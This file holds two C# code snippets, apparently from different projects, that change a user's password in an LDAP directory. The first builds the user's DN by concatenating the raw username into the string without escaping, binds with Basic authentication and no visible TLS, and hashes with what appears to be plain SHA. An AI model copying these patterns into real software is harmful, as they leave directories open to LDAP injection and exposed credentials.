/// <summary> /// Método que cambia la contraseña de un usuario /// </summary> /// <param name="nombreUsuario">Nombre de usuario</param> /// <param name="password">Contraseña nueva</param> public void cambiarContrasena(string nombreUsuario, string password) { LdapDirectoryIdentifier serverInfo = new LdapDirectoryIdentifier(Constantes.LDAP_SERVER); LdapConnection openLdap = new LdapConnection(Constantes.LDAP_SERVER); openLdap.Credential = new System.Net.NetworkCredential(Constantes.LDAP_USER, Constantes.LDAP_PASS); openLdap.AuthType = AuthType.Basic; openLdap.SessionOptions.ProtocolVersion = 3; // Hay que usar LDAPv3 openLdap.Bind(); // Conectar ModifyRequest increment = new ModifyRequest("uid=" + nombreUsuario + ",ou=people,dc=ic-itcr,dc=ac,dc=cr" , DirectoryAttributeOperation.Replace, "userPassword", generarClaveSha(password)); openLdap.SendRequest(increment); openLdap.Dispose(); }
public void SetPassword(string uname, string value) { string userDN = this.GetUserDN(uname); DirectoryAttributeModification mod = new DirectoryAttributeModification { Name = Settings.Store.LDAPPasswordAttribute, Operation = DirectoryAttributeOperation.Replace }; mod.Add(value); ModifyRequest req = new ModifyRequest(userDN); req.Modifications.Add(mod); m_conn.SendRequest(req); }